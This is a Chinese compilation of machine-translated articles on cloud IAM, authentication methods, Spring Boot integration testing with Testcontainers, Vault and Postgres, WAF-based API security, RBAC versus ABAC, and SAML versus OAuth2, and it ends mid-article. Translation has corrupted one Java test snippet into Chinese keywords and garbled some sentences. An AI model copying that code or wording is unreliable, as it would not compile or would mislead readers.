数字化转型促使组织将基础架构迁移到云端，以优化 IT 运营并降低成本。部署在云中的 IAM 解决方案可作为 SaaS 服务、部署在供应商私有云中的托管服务以及作为部署在组织自己的私有云或公共云中的软件提供。 Cloud IAM 允许您对用户进行身份验证，无论他们身在何处，并安全地访问 SaaS、云、本地和 API 中的资源，同时提高您的速度、敏捷性和效率。

Cloud IAM 的主要优势是什么？

Cloud IAM 简化了您向云的迁移，不同的云部署选项提供不同级别的自定义和管理责任。主要好处包括：

• 通过将身份基础架构迁移到云端，遵守执行云优先的要求。
• 降低基础架构维护和支持成本，尤其是在使用 SaaS 或托管云服务时。
• 在部署身份功能时加快实现价值的时间。
• 提高 IAM 的灵活性和可扩展性。
• 享受更轻松、更频繁的升级，尤其是当服务由云中的供应商管理时。
• 如果身份供应商正在管理 IAM 服务，请减少对昂贵的内部身份专家的依赖。

IAM 和云 IAM 有什么区别？

过去，本地 IAM 软件是维护身份和访问策略的有效方式。随着组织超越本地服务以满足远程工作需求以及人们开始使用移动设备进行工作和娱乐，管理身份和访问的过程变得更加复杂。将 IAM 解决方案迁移到云端对于具有云优先任务的企业来说是合乎逻辑的一步。虽然身份作为 SaaS 服务（也称为 IDaaS）很常见，但还有其他方法可以在云中实现身份，例如借助 Docker 和 Kubernetes 等 DevOps 工具在您自己的公共或私有云中部署支持云的软件。

访问管理和身份管理有什么区别？

在查看 IAM 解决方案时，通常很难区分身份管理和访问管理，实际上您可能会看到这两个术语都用于描述整个 IAM 空间。可以说，它们齐头并进，两者都需要确保您在正确的时间和出于正确的原因让正确的人访问正确的事物。

但从根本上说，它们并不相同。身份管理涉及对用户进行身份验证的过程，而访问管理涉及对用户进行授权。具体来说，身份管理将数字属性和数据库中的条目结合起来，为每个用户创建一个唯一的身份，在身份验证期间可以将其作为真实来源进行检查。访问管理确定谁可以在任何给定时间访问资源或数据库。访问管理系统通过登录页面和协议管理访问门户，同时还保证请求访问的特定用户具有适当的权限。

IAM 作为一个整体让您能够在用户获得访问权限之前验证他们的身份。在最简单的形式中，身份管理对用户进行身份验证，然后访问管理根据用户的身份属性确定个人的授权级别。

身份管理有什么好处？

身份和访问管理可帮助您在安全性和体验之间取得理想平衡。此外，它可以帮助您节省资金并满足合规要求，同时增强您的员工和客户体验。将 IAM 集成到您的运营中的主要好处包括：

IAM 增强安全性

提高安全性可以说是您从 IAM 中获得的第一大好处。多因素身份验证等功能可减少您对密码的依赖，从而降低因凭据泄露而导致的泄露风险。随着远程工作成为常态，您的 IT 团队必须管理越来越多的应用程序和设备，您需要新的方法来防止网络攻击和数据泄露。 IAM 通过 API 安全和身份验证等功能帮助您应对日益复杂的威胁，因此您可以确信只有正确的人才能访问正确的资源。

IAM 改善用户体验

通过将恰到好处的安全性与无缝访问相结合，IAM 可帮助您保持员工之间的联系，并让您的客户再次光顾。单点登录让您可以让您的用户更快、更轻松地访问他们需要的资源。当您将 SSO 与自适应身份验证结合使用时，您可以将身份验证要求与所请求的访问相匹配。通过仅在必要时加强安全性，您可以最大限度地减少摩擦并提供更好的用户体验。 IAM 的进步，如无密码身份验证，通过减少甚至消除难以跟踪的密码的使用，进一步简化了访问（不影响安全性）。

IAM 提高劳动力生产力

劳动力用户需要访问一系列不同的应用程序来完成他们的工作。当忘记密码和受限权限阻碍访问时，生产力就会受到影响。 SSO 等 IAM 功能通过减少登录和访问资源所需的时间来帮助更有效地完成工作。

IAM 简化 IT 工作量

说到忘记密码，据估计，超过 50% 的 IT 帮助台呼叫归因于密码重置，并且单个密码重置请求平均花费公司 70 美元。 IAM 解决方案最大限度地减少您对密码的依赖以及随之而来的麻烦。 IAM 还可以根据角色和更精细的属性，轻松地在您的组织中实施身份服务和更改权限。

IAM 支持监管合规

通过提供 API 安全等功能，IAM 简化了对开放银行要求的合规性。同样，隐私和同意管理功能简化了对 GDPR 和加州消费者保护法 (CCPA) 等数据隐私法规的合规性。随着从金融到医疗保健再到零售等一系列行业的法规不断提高，IAM 为您提供了快速适应的敏捷性。

数字认证的类型

您可以使用多种方法来证明用户的身份。但并非所有数字身份验证都是平等创建的。某些类型，如生物特征、上下文和行为认证，不仅更加复杂和安全，而且还减少了用户摩擦。以下是一些常见的数字身份验证方法的细分。

预共享密钥 (PSK)

PSK 是一种数字身份验证协议，其中密码在访问相同资源的用户之间共享。典型示例包括办公室环境中许多员工共享的单个网络 WiFi 密码。虽然这种做法很常见且方便，但共享密码的安全性不如个人密码，并且会使您面临第 2 层和中间人攻击等威胁。数字证书通过将身份与访问联系起来，提供比 PSK 更安全的身份验证形式，以便您知道谁或哪个设备正在使用网络。它们还消除了频繁更改密码的需要。

唯一密码

唯一密码需要最少数量的字符以及字母、符号和数字的复杂组合，这使得它们更难被破解。但是这些要求也使唯一密码成为您的用户创建和跟踪的负担。除了为每个应用程序创建一个唯一的密码外，用户还必须每 60-90 天提供一次原始密码。所有这些因素都会导致密码疲劳并增加您的安全风险。相比之下，单点登录允许您的用户使用单个用户名和密码组合访问多个资源。

硬件令牌

硬件令牌是小型物理设备，例如智能卡、密钥卡或 USB 驱动器。该设备本身包含一个算法（时钟或计数器）和用于计算伪随机数的种子记录。用户输入这个数字来证明他们拥有令牌，或者他们可能会按下设备上的一个键，这会生成一个一次性密码 (OTP) 并将其发送到服务器。硬件代币的物理性质使它们的推出成本高昂且繁琐，并使它们面临破损、丢失和被盗的风险。一种更简单且成本更低的替代方案是移动身份验证，它依赖于软令牌生成用于登录的 OTP。

生物特征认证

虽然其他形式的身份验证依赖于您的用户知道的东西（密码）或拥有的东西（设备、令牌），但生物识别身份验证使用您的用户的特征来证明身份。生物特征认证的示例包括指纹、面部识别、语音识别、手部几何形状和视网膜或虹膜扫描。这些形式的身份验证更加安全，因为它们对个人来说是高度独特的，并且更难复制、窃取或破坏。随着移动设备、平板电脑和 PC 制造商开始将这些技术整合到设备中，它们的使用也在增长。此外，FIDO 协议的使用通过使用标准公钥加密技术提供了更强的身份验证。使用 FIDO，生物特征信息永远不会离开用户的设备。这通过使在线服务无法跨服务协作和跟踪用户来保护用户隐私。

上下文认证

一种基于风险的身份验证形式，上下文身份验证使用地理位置、IP 地址、一天中的时间和设备标识符等信息来确定用户的身份是否真实。通常，将用户的当前上下文与先前记录的上下文进行比较，以发现不一致并识别潜在的欺诈行为。虽然这些检查对授权用户是不可见的，但它们对攻击者构成了重大障碍。

行为生物识别

另一种基于风险的身份验证形式，行为生物识别技术利用机器学习来识别独特的用户行为，如鼠标特征和击键动态。通过了解用户的典型行为和交互方式，行为生物识别技术可让您检测可能表明可疑活动或恶意攻击的异常行为。由于每个人都表现出独特的设备行为，因此行为生物识别技术可以帮助您区分授权用户和不良行为者。

多因素身份验证 (MFA)

多因素身份验证比单独使用密码和硬件令牌更安全，它要求用户提供至少两条证据来证明其身份。他们必须提供他们知道的东西、他们拥有的东西或他们所拥有的东西，每个类别只提供一种形式的证据。例如，MFA 身份验证流程可能要求用户使用用户名和密码（他们知道的）登录。然后，他们可能需要通过在移动应用程序（他们拥有的东西）上确认请求来完成身份验证。

IAM 的风险是什么？

任何有效的风险管理策略都始于识别您面临的潜在风险。 KuppingerCole 的信息安全分析师建议在这五个领域评估您的组织，以识别和降低潜在风险，并设置您的 IAM 计划以取得成功。

1. 高层支持

风险：如果 IAM 缺乏高管的支持，则很难在整个组织中获得使 IAM 成功所需的财务和资源支持。

问题：责任的识别通常是最复杂的挑战。 您需要为组织转变和决策提供自上而下的支持。

缓解：当业务价值可以用清晰、简单的术语解释时，更容易获得高管支持。 执行发起人需要充分了解并准备好影响 IAM 计划的方向，并了解其中各个项目的目的和目标。

2. 业务参与

风险：在没有业务参与的情况下，IAM 项目会遭受范围不明确、范围蔓延和被技术要求所取代。

问题：企业需要推动项目并引领技术，而不是相反。

缓解：除了满足监管规范和审计要求外，还需要传达 IAM 的其他好处，包括获得用户的整体视图、快速连接新业务合作伙伴的能力以及增加业务的敏捷性。在将技术部署在适当的环境中之前，了解和规划业务环境非常重要。
 

3. 战略

风险：IAM 项目可能很复杂，使得“大爆炸”方法难以控制。必须从一开始就考虑到需要管理的企业身份的倍增。

问题：尽管最初的实施可能只为一组员工提供一小部分功能，但必须对其进行设计，以便它们可以扩展。

缓解措施：IAM 实施应分解为单独且范围明确的项目，而不是一个边界不明确的大型项目。
 

4. 技术

风险：IAM 实施可能会因技术失误而停止，例如选择错误的产品、试图利用现有的失败产品或让供应商或其他技术“专家”驱动程序。

问题：技术专长不足以成功实施 IAM。它需要对环境有一个全面的了解，并且对项目的成功有既得利益。

缓解：确保系统集成商、供应商和技术团队得到利用和尊重，但实施最终由业务指导和控制。为技术团队提供一个平台来表达他们的担忧并让他们参与进来，但不要让他们限制业务需求。
 

5. 人

风险：人对 IAM 的成功至关重要。但是个人会根据他们的角色和/或以前的技术经验对 IAM 的运作方式有不同的理解。由于对 IAM 应该包含的内容存在冲突的看法，项目很快就会变得政治化，从而在业务和技术团队之间造成分裂和内讧。

问题：部门需要能够控制对自己系统的访问。新用户组需要轻松入职。

缓解：必须从一开始就考虑个人及其各自的需求和理解。必须自由分享知识，定期交流进展并庆祝成功。最后也是最重要的一点，IAM 必须足够简单，才能为最终用户工作。

IAM 的未来是什么？

远程工作、网络安全、数据隐私和客户体验的趋势继续影响 IAM 的优先事项。虽然未来永远无法完全预测，但指标表明身份安全即将发生六种转变。

更好地控制个人数据

在消费者隐私法规的推动下，客户要求对其个人数据的使用和共享方式进行更多控制。为了满足这一需求，新的个人身份框架正在不断发展，使客户能够控制他们的身份以及与服务提供商共享哪些属性，并在不需要过多个人数据的情况下实现身份的安全验证。

加速零信任

零信任将成为企业安全的基础。作为一种简化工作流程并实施自适应身份验证、授权和身份验证服务的安全模型，零信任为组织提供了从根本上更强大的安全态势，以抵御不断演变的威胁。

SSN 作为安全身份验证器的结束
在大流行期间和之后，超过 600 亿美元的欺诈性失业保险索赔困扰着美国的国有失业机构，突显了使用社会安全号码作为可信身份验证者的后果。如果我们之前不相信，这个代价高昂的教训强调了消除将 SSN 用作安全身份验证因素的必要性。

更安全的远程工作

至少有一部分时间在家工作。但为远程工作者提供无缝体验带来了挑战。 IAM 通过单点登录和自适应身份验证为工作人员提供无障碍访问，从而支持 WFH。同时，您会更加确信只有合适的人才能访问公司资源，并提高敏捷性以推进您的云计划。

无密码客户身份验证的兴起

为了与在家工作的趋势保持一致，消费者也比以往任何时候都更多地在家购物。随着客户体验之战的继续进行，公司将把客户转变为无密码体验，以在不牺牲安全性的情况下最大限度地减少摩擦。无密码身份验证允许客户使用风险密码以外的其他方式进行身份验证，例如受信任设备上的生物特征推送通知。

更普遍的人工智能和机器学习

随着人工智能的使用越来越广泛，它也有可能成为新的攻击机制。为了快速识别可疑活动并根据风险级别调整访问权限，应将行为分析和风险信号集成到所有访问和生命周期管理流程中。然而，人工智能和机器学习并不是万能的，最好与现有的威胁检测方法结合使用。

原文：https://www.pingidentity.com/en/resources/blog/posts/2021/what-is-ident…

本文：https://jiagoushi.pro/node/2164

需要针对流行的第三方解决方案(如数据库)为应用程序编写集成测试吗?

我已经写了许多文章，其中使用Docker容器运行一些与示例应用程序集成的第三方解决方案。如果没有Docker容器，为这样的应用程序构建集成测试可能不是一项容易的任务。特别是当我们的应用程序与数据库、消息代理或其他一些流行的工具集成时。如果您计划构建这样的集成测试，那么您一定要查看testcontainer。

Testcontainers是一个支持JUnit测试的Java库，它为运行公共数据库、Selenium web浏览器或任何其他可以在Docker容器中运行的实例提供了一种快速和轻量级的方法。它为最流行的关系数据库和NoSQL数据库(如Postgres、MySQL、Cassandra或Neo4j)提供模块。它还允许运行流行的产品，如Elasticsearch、Kafka、Nginx或HashiCorp's Vault。今天，我将向您展示一个更高级的JUnit测试示例，它使用testcontainer检查Spring Boot/Spring Cloud应用程序、Postgres数据库和Vault之间的集成。

出于这个示例的目的，我们将使用我之前的一篇文章Secure Spring Cloud Microservices with Vault和Nomad中描述的情况。让我们回顾一下那个用例。

我在那里描述了如何使用一个非常有趣的Vault特性，称为secret engine，来动态生成数据库用户凭证。我在Spring引导应用程序中使用Spring Cloud Vault模块来自动集成Vault的这个特性。实现的机制非常简单。应用程序在启动时尝试连接到Postgres数据库之前调用Vault secret engine。Vault通过secret engine与Postgres集成，这就是为什么它创建了一个对Postgres具有足够特权的用户。然后，生成的凭证会自动注入到自动配置的Spring Boot属性中，这些属性用于连接数据库Spring .datasource。用户名和spring.datasource.password。下图说明了所描述的解决方案:

好的，我们知道它是如何工作的，现在的问题是如何自动测试它。使用testcontainer，只需几行代码就可以了。

1. 构建应用程序

我们先简单介绍一下应用程序代码;这很简单。下面是构建一个公开REST API并与Postgres和Vault集成的应用程序所需的依赖项列表。

<dependency>

    <groupId>org.springframework.boot</groupId>

    <artifactId>spring-boot-starter-web</artifactId>

</dependency>

<dependency>

    <groupId>org.springframework.cloud</groupId>

    <artifactId>spring-cloud-starter-vault-config</artifactId>

</dependency>

<dependency>

    <groupId>org.springframework.cloud</groupId>

    <artifactId>spring-cloud-vault-config-databases</artifactId>

</dependency>

<dependency>

    <groupId>org.springframework.boot</groupId>

    <artifactId>spring-boot-starter-data-jpa</artifactId>

</dependency>

<dependency>

    <groupId>org.postgresql</groupId>

    <artifactId>postgresql</artifactId>

    <version>42.2.5</version>

</dependency>

应用程序连接到Postgres，通过Spring Cloud Vault与Vault集成，并在启动时自动创建/更新表。

spring:

  application:

    name: callme-service

  cloud:

    vault:

      uri: http://192.168.99.100:8200

      token: ${VAULT_TOKEN}

      postgresql:

        enabled: true

        role: default

        backend: database

  datasource:

    url: jdbc:postgresql://192.168.99.100:5432/postgres

  jpa.hibernate.ddl-auto: update

它公开单个端点。下面的方法负责处理传入的请求。它只是将一条记录插入数据库，并返回一个带有所插入记录的应用程序名称、版本和ID的响应。

@RestController

@RequestMapping("/callme")

public class CallmeController {

    private static final Logger LOGGER = LoggerFactory.getLogger(CallmeController.class);

    @Autowired

    Optional<BuildProperties> buildProperties;

    @Autowired

    CallmeRepository repository;

    @GetMapping("/message/{message}")

    public String ping(@PathVariable("message") String message) {

        Callme c = repository.save(new Callme(message, new Date()));

        if (buildProperties.isPresent()) {

            BuildProperties infoProperties = buildProperties.get();

            LOGGER.info("Ping: name={}, version={}", infoProperties.getName(), infoProperties.getVersion());

            return infoProperties.getName() + ":" + infoProperties.getVersion() + ":" + c.getId();

        } else {

            return "callme-service:"  + c.getId();

        }

2. 使能Testcontainers

要为我们的项目启用testcontainer，我们需要包含Maven pom.xml的一些依赖项。我们有专门的模块为Postgres和Vault。我们还包括一个Spring引导测试依赖项，因为我们想测试整个Spring引导应用程序。

<dependency>

    <groupId>org.springframework.boot</groupId>

    <artifactId>spring-boot-starter-test</artifactId>

    <scope>test</scope>

</dependency>

<dependency>

    <groupId>org.testcontainers</groupId>

    <artifactId>vault</artifactId>

    <version>1.10.5</version>

    <scope>test</scope>

</dependency>

<dependency>

    <groupId>org.testcontainers</groupId>

    <artifactId>testcontainers</artifactId>

    <version>1.10.5</version>

    <scope>test</scope>

</dependency>

<dependency>

    <groupId>org.testcontainers</groupId>

    <artifactId>postgresql</artifactId>

    <version>1.10.5</version>

    <scope>test</scope>

</dependency>

3.运转Vault Test 容器

Testcontainers框架支持JUnit 4/JUnit 5和Spock。如果Vault容器使用@Rule或@ClassRule注释，则可以在测试之前启动它。默认情况下，它使用0.7版本，但是我们可以使用最新版本1.0.2覆盖它。我们还可以设置一个根令牌，然后Spring Cloud Vault需要它来与Vault集成。

@ClassRule

public static VaultContainer vaultContainer = new VaultContainer<>("vault:1.0.2")

    .withVaultToken("123456")

    .withVaultPort(8200);

在测试类上启动JUnit测试之前，可以覆盖该根令牌。

@RunWith (SpringRunner.class)

@SpringBootTest (webEnvironment = SpringBootTest.WebEnvironment。RANDOM_PORT, properties = {

“spring.cloud.vault.token = 123456”

})

公共类CallmeTest{…}

4. 运行Postgres测试容器

作为@ClassRule的替代方法，我们可以在测试中的@BeforeClass或@Before方法中手动启动容器。使用这种方法，您还必须在@AfterClass或@After方法中手动停止它。我们手动启动Postgres容器，因为默认情况下，它是在动态生成的端口上公开的，在启动测试之前，需要为Spring Boot应用程序设置这个端口。侦听端口由在PostgreSQLContainer上调用的getFirstMappedPort方法返回。

private static PostgreSQLContainer postgresContainer = new PostgreSQLContainer()

    .withDatabaseName("postgres")

    .withUsername("postgres")

    .withPassword("postgres123");

@BeforeClass

public static void init() throws IOException, InterruptedException {

    postgresContainer.start();

    int port = postgresContainer.getFirstMappedPort();

    System.setProperty("spring.datasource.url", String.format("jdbc:postgresql://192.168.99.100:%d/postgres", postgresContainer.getFirstMappedPort()));

    // ...

}

@AfterClass

public static void shutdown() {

    postgresContainer.stop();

}

5. 集成Vault和Postgres容器

一旦我们成功地启动了Vault和Postgres容器，我们需要通过Vault secret engine集成它们。首先，我们需要启用数据库secret engine Vault。之后，我们必须配置到Postgres的连接。最后一步是配置一个角色。角色是一个逻辑名称，它映射到用于生成这些凭证的策略。所有这些操作都可以使用Vault命令执行。您可以使用execInContainer方法在Vault容器上启动命令。Vault配置命令应该在Postgres容器启动后立即执行。

@BeforeClass

public static void init() throws IOException, InterruptedException {

    postgresContainer.start();

    int port = postgresContainer.getFirstMappedPort();

    System.setProperty("spring.datasource.url", String.format("jdbc:postgresql://192.168.99.100:%d/postgres", postgresContainer.getFirstMappedPort()));

    vaultContainer.execInContainer("vault", "secrets", "enable", "database");

    String url = String.format("connection_url=postgresql://{{username}}:{{password}}@192.168.99.100:%d?sslmode=disable", port);

    vaultContainer.execInContainer("vault", "write", "database/config/postgres", "plugin_name=postgresql-database-plugin", "allowed_roles=default", url, "username=postgres", "password=postgres123");

    vaultContainer.execInContainer("vault", "write", "database/roles/default", "db_name=postgres",

        "creation_statements=CREATE ROLE \"{{name}}\" WITH LOGIN PASSWORD '{{password}}' VALID UNTIL '{{expiration}}';GRANT SELECT, UPDATE, INSERT ON ALL TABLES IN SCHEMA public TO \"{{name}}\";GRANT USAGE,  SELECT ON ALL SEQUENCES IN SCHEMA public TO \"{{name}}\";",

        "default_ttl=1h", "max_ttl=24h");

}

 

6. 运行应用程序测试

最后，我们可以运行应用程序测试。我们只调用应用程序使用TestRestTemplate公开的单个端点，并验证输出。

@Autowired

TestRestTemplate template;

@Test

public void test() {

    String res = template.getForObject("/callme/message/{message}", String.class, "Test");

    Assert.assertNotNull(res);

    Assert.assertTrue(res.endsWith("1"));

}

如果您对测试期间究竟发生了什么感兴趣，您可以在测试方法中设置断点并手动执行docker ps命令。

原文：https://dzone.com/articles/testing-spring-boot-integration-with-vault-and-pos

本文：https://pub.intelligentx.net/node/735

讨论：请加入知识星球或者小红圈【首席架构师圈】

应用程序开发中的API使用已成为今年的趋势。采用微服务和无服务器架构只会加速这一趋势。基于与分析师和客户的对话，我们希望API在未来几年内成为大多数Web应用前端。
由于公众曝光率增加和API前端常见使用，API已成为网络犯罪分子的新攻击媒介，可能使您的应用程序和数据库容易受到各种Web应用程序攻击。
随着这种快速增长和风险的增加，API安全性已经成为开发人员和安全专业人员都感兴趣的主题。虽然一些API安全挑战与传统应用程序安全挑战并没有太大差别，但其他挑战却是独一无二的。无论哪种方式，缓解方法都可能有所不同，Web应用程序防火墙（WAF）需要了解和解决API细微差别。
在这篇文章中，我将讨论六个常见的API安全挑战以及WAF应该具备的必要功能。

（另外，根据Gartner的说法，Web应用程序防火墙（WAF）正迅速发展到下一阶段的应用程序安全性，WAAP或Web应用程序和API保护。阅读他们的白皮书，了解Gartner如何定义WAAP以及您的企业和开发人员需要哪些功能。）

API参数篡改

黑客使用的最常见的漏洞利用方法之一是通过篡改输入参数（字段）来探测应用程序安全防御。使用API​​，此类篡改可用于对API进行反向工程，导致DDoS攻击或仅仅暴露编写不良的API以显示更多数据。
您可以使用能够分析API的WAF以及针对配置的API结构检查任何API调用来防止此类尝试，以确保输入参数（计数，顺序等）与定义一致。与应用程序不同，可以从已知模式自动构建API配置文件，而无需在一段时间内学习。例如，Imperva SecureSphere WAF具有专有的JSON结构和一组API，允许从流行的定义轻松创建配置文件（参见图1）。

图1：Imperva SecureSphere WAF自动构建API配置文件

坏机器人和DDoS攻击

Netflix最近进行了一项实验，他们通过DDoS使用机器人的关键API来减少他们网络的三分之一。面向API的Web应用程序暴露于僵尸程序和DDoS滥用 - 如果开始接收无效输入，编写得很糟糕的API可能会占用大量计算资源。通常，DDoS攻击可能会对API前端的Web应用程序造成相当大的破坏。
您可以通过有效使用速率限制和恶意IP阻止以及反刮策略来防范此类攻击。与API分析一起使用时，这些策略可为您的API提供强大的保护。

会话Cookie篡改

攻击可以尝试篡改cookie以绕过安全性或向应用程序服务器发送错误数据。会话cookie篡改是用于攻击传统Web应用程序的众所周知的渠道，但它与API同样相关。
WAF应该提供扩展到API的会话cookie保护，以及用户只需将相同的策略应用于API的能力。

中间人攻击

API客户端和API服务器之间的未加密连接可能会向黑客暴露大量敏感数据。由于API正在成为使用易于使用的JSON格式进行数据交换的首选工具，因此不安全的传输是对数据窃取的公开邀请。
确保您的WAF可以配置为仅允许HTTPS流量，强制实施传输层安全性（TLS）版本，并允许从API客户端到API服务器的特定密码（图2）。

图2：强制SSL / TLS阻止中间人攻击

内容操作/技术攻击

攻击者可能只是注入可能导致攻击的恶意内容。此类技术攻击可能包括中毒JSON Web令牌，尝试点亮传统的SQL注入或获取恶意JS代码以在其他许多其他方面执行。
需要具有多个签名来阻止此类攻击的WAF。但是，将来自知名来源的某些IP，端口或内容列入白名单的附加功能是避免误报的必要条件。

API用户跟踪

大多数物联网（IoT）设备旨在使用API​​通道与其相应的企业服务器进行通信。这允许其操作的稳定性和版本化定义。在某些情况下，这些IoT设备使用客户端证书在API服务器上进行身份验证。如果黑客从IoT端点获得对API的控制权，他们可以轻松地重新排序API的顺序并导致数据泄漏或不期望的操作。
要防止此威胁，请查找可基于身份验证参数对API用户行为建模的WAF。对于IoT设备，基于客户端证书对API行为建模的能力允许安全专家快速识别从这些设备发出的正确和不正确的使用。

通过保护API保护应用程序

您不希望绑定DevOps，其任务是创新，及时创建和发布代码。但您也不能忽视用于开发应用程序的不安全API的风险。部署在API资源之前的WAF通过验证和监控API流量来保护核心应用程序。

原文：https://www.imperva.com/blog/six-ways-to-secure-apis/

本文：http://pub.intelligentx.net/node/604/

讨论:请加入知识星球或者小红圈【首席架构师圈】

随着云原生安全和软件零信任方法的重要性日益增加，有关云资源访问级别的问题变得越来越重要。同样重要的是理解不同授权策略的价值。

在本文中，我们概述了细粒度和粗粒度授权方法。关键要点包括：

• 粗粒度授权适用于更广泛形式的访问控制，例如侧重于角色的访问控制。
• 细粒度授权实现了更高级别的特定性，这通常是确保更复杂和可扩展的云原生开发所需的。
• 开放策略代理（OPA）和Styra声明授权服务（DAS）有助于实现正确级别的访问控制，同时自动化策略管理和实施，从而实现大规模的细粒度访问控制。

什么是粒度授权？

授权策略控制谁或什么可以在给定系统中做什么。授权决策的具体程度决定了所涉及的粒度级别。换句话说，更细粒度是指授权系统或网络中的特定用户或实体所需的更高级别的细节或上下文。

仅基于关联角色的授权策略通常是粗粒度的。然而，所需的详细信息和上下文的数量（如一天中的位置或时间）越多，粒度就越大。

以下是关键区别：

• 细粒度访问控制是根据多种条件授予或撤销对关键系统和数据的访问的能力。例如，某个角色下的用户只有在公司工作至少一年后才能访问服务a。
• 粗粒度访问控制在授予或拒绝访问时需要较低级别的特定性。例如，特定角色（例如工程或人员操作）下的任何用户都可以访问服务a。

RBAC与ABAC：有什么区别？

虽然基于角色的访问控制（RBAC）通常与粗粒度授权相关联，但基于属性的访问控制通常是一种更细粒度的方法，因为它使团队能够指定更精细的细节和关于允许访问哪些资源的上下文信息。

基于角色的访问控制（RBAC）

RBAC允许您将用户分配给角色，然后将角色映射到权限。您可以为管理员用户创建一个角色，为普通用户创建另一个角色。作为一个静态模型，RBAC更易于管理和配置，但由于它为特定角色中的所有用户提供了相同的权限，因此它可能不太安全。

然而，这种方法适用于不需要多层条件的情况。例如，企业使用角色为员工提供不同的访问级别：经理可以查看其团队成员的工资信息，但团队成员无法访问彼此的工资信息。

角色爆炸是一个挑战

粗粒度授权的挑战之一是其有限的灵活性和可扩展性。在RBAC模型中，每个角色都有自己的权限集。随着用户数量或工作职能的增加，管理部门可能需要创建新的角色和权限，而这些角色和权限不容易与以前的映射相匹配，这可能会给RBAC管理带来巨大的复杂性。

正如我们在2022年云原生对齐报告中所发现的，64%的开发者表示，云原生扩展的最大挑战之一是为IT管理设置适当的员工控制。随着资源或功能的增加，由于角色爆炸，管理这些角色变得更具挑战性。

要点：当您的组织需要更多的灵活性和可扩展性时，它需要转向更细粒度的授权方法，例如ABAC。例如，正如我们所讨论的，RBAC对于Kubernetes API安全性是不够的。要了解更多信息，请下载我们的白皮书。

基于属性的访问控制（ABAC）

基于属性的访问控制为团队提供了更大程度的粒度，因为它映射到用户的属性，而这些属性可能比角色更加具体和基于上下文。例如，您可以为用户、资源和操作分配属性，然后创建细粒度策略，允许特定用户组仅在一天中的特定时间访问特定资源。这类政策有助于确保员工在工作时间之外不会访问关键信息。

正如您所料，细粒度授权通常更安全，因为它缩小了访问范围。移除权限的灵活性对于最大限度地减少横向移动和数据泄漏的风险也至关重要。正如《2022年数据泄露调查报告》所指出的，当涉及到泄露的记录数量时，特权方可能会比局外人造成更大的损害。

另一方面，ABAC的缺点是管理和配置可能更具挑战性，因为它可能需要一系列更复杂的策略来规定用户获得资源和服务访问权限的条件。

想了解更多有关云原生应用的细粒度控件吗？立即观看Styra网络研讨会。

摘要：粗粒度与细粒度访问控制

在高度分布式和异构的云架构中，应用程序有不同的授权需求。细粒度控件与粗粒度控件之间的选择最终取决于手头的项目。

下面是一个快速分解：

在细粒授权和粗粒授权之间仍不确定？

您不需要在粗访问控制和细粒访问控制之间进行选择。使用OpenPolicyAgent（OPA）和StyraDAS实现云本地授权，您可以根据应用程序的独特需求实现RBAC和ABAC机制。​​作为开放策略代理（OPA）的控制平面，Styra DAS有助于大规模实施授权，因为它自动化了云原生环境中的策略管理。

我收到了很多关于我的文章《选择SSO策略：SAML vs OAuth2》的电子邮件。两个常见的问题似乎是：1）您是否对OAuth2做出了正确的决定；2）我应该选择SAML还是OAuth2？

第一个问题的答案很简单：是的，OAuth2是该应用程序的正确选择。集成本身很简单，它支持我们客户拥有的所有用例（包括他们支持本地应用程序的目标）。它至今仍在使用中，自最初部署以来，我们就不必对集成造成任何麻烦。

有两种方法可以考虑第二个问题。我的默认回答是使用OAuth2。如果你想知道为什么，那么你需要继续阅读。

在选择合适的解决方案之前，您需要弄清楚应用程序希望实现的等式的哪一部分。无论使用OAuth2还是SAML，您的应用程序（或平台）都可以扮演两个角色：资源服务器（也称为服务提供商）和授权服务器（也称身份提供商）。

作为资源服务器；不是授权服务器

如果你不希望你的应用程序存储用户凭据，但你希望用户能够使用他们在另一个站点（例如Google、Facebook、Twitter等）上可能拥有的凭据登录到你的应用，那么你的应用将是一个资源服务器。

这意味着谷歌、Facebook、Twitter等将成为授权服务器。作为资源服务器的好处是，实现和维护工作量要少得多，因为许多决策都是为您做的。潜在的缺点是你必须实现他们支持的授权流。

如果您希望支持用户从多个身份验证提供商登录（例如，用户可以从Twitter、Google或Facebook登录），那么您的应用程序需要根据其支持的内容实现一个或多个授权流。这可能意味着您最终实现了OAuth2、SAML、OAuth 1.0，或者可能是完全不同或自定义的东西。

幸运的是，在实践中，这并不是那么糟糕。通常有特定于身份验证提供程序的库可用于各种编程语言，这些库隐藏了授权流的复杂性，并为您的应用程序提供了一个更简单的接口，以便进行身份验证/授权。

以下是通常称为“社交身份提供者”的常见授权服务器列表：

• Google: OAuth 2.0
• Facebook: variant of OAuth 2.0
• Twitter: OAuth 1.0a for users and OAuth 2.0a for applications
• Yahoo: OAuth 2.0 for products like Yahoo Gemini and Yahoo Social APIs but for the rest its OAuth 1.0a
• LinkedIn: OAuth 2.0
• Github: OAuth 2.0

第三方SSO和本地凭据

当有人发现他们的应用程序是资源服务器时，一个常见的问题是：如果人们不想通过第三方登录，我还能让他们在我的网站上创建帐户并使用这些凭据登录吗？还是我的应用程序需要成为支持SSO的授权服务器？

不知为什么，人们觉得当他们的应用程序允许第三方身份验证时，他们的应用需要成为一个全面的SSO授权服务器。这是一个神话。这不是真的。

您的应用程序可以利用第三方SSO，并且仍然允许用户创建没有SSO的本地帐户。如果您希望其他站点、应用程序等使用您的应用程序进行身份验证/授权，您只需要将应用程序作为支持SSO的授权服务器。

作为授权服务器；不是资源服务器

如果应用程序的目标是管理用户凭据并允许其他站点、应用程序等使用这些凭据进行身份验证，则应用程序将扮演授权服务器的角色。

现在，在OAuth2和SAML之间做出决定变得很重要，因为您的应用程序将指示其他应用程序如何与它集成以进行身份验证/授权。

让我们来看看几个场景，看看你应该怎么做。

本机移动应用程序支持

您希望本地移动应用程序（没有web服务器支持）能够根据授权服务器进行身份验证吗？如果是，那么就使用OAuth2。事实上，您甚至不能考虑SAML，因为它的设计不支持本地应用程序授权流。

SAML与本地应用程序一起工作的唯一方法是应用程序提供商在某个地方拥有一个可以处理授权流的web服务器。这种解决方法将起作用，这也是Okta允许SAML与本机应用程序一起工作的方式。

这种解决方法的缺点是给第三方应用程序提供商带来了更多负担。他们再也不能只发送应用程序并使用您的服务进行认证；现在，他们还必须构建一个处理授权的web应用程序。

这听起来可能不是什么大事，但它是另一个需要构建、部署和维护的代码库和应用程序。哦，别忘了购买域名/SSL证书/主机，并使其保持最新。

如果您希望本机应用程序使用您的授权服务器，只需使用OAuth2即可。构建和维护OAuth2对您来说要简单得多，而且其他应用程序开发人员也更容易与之集成。

当您不关心本机移动应用程序时

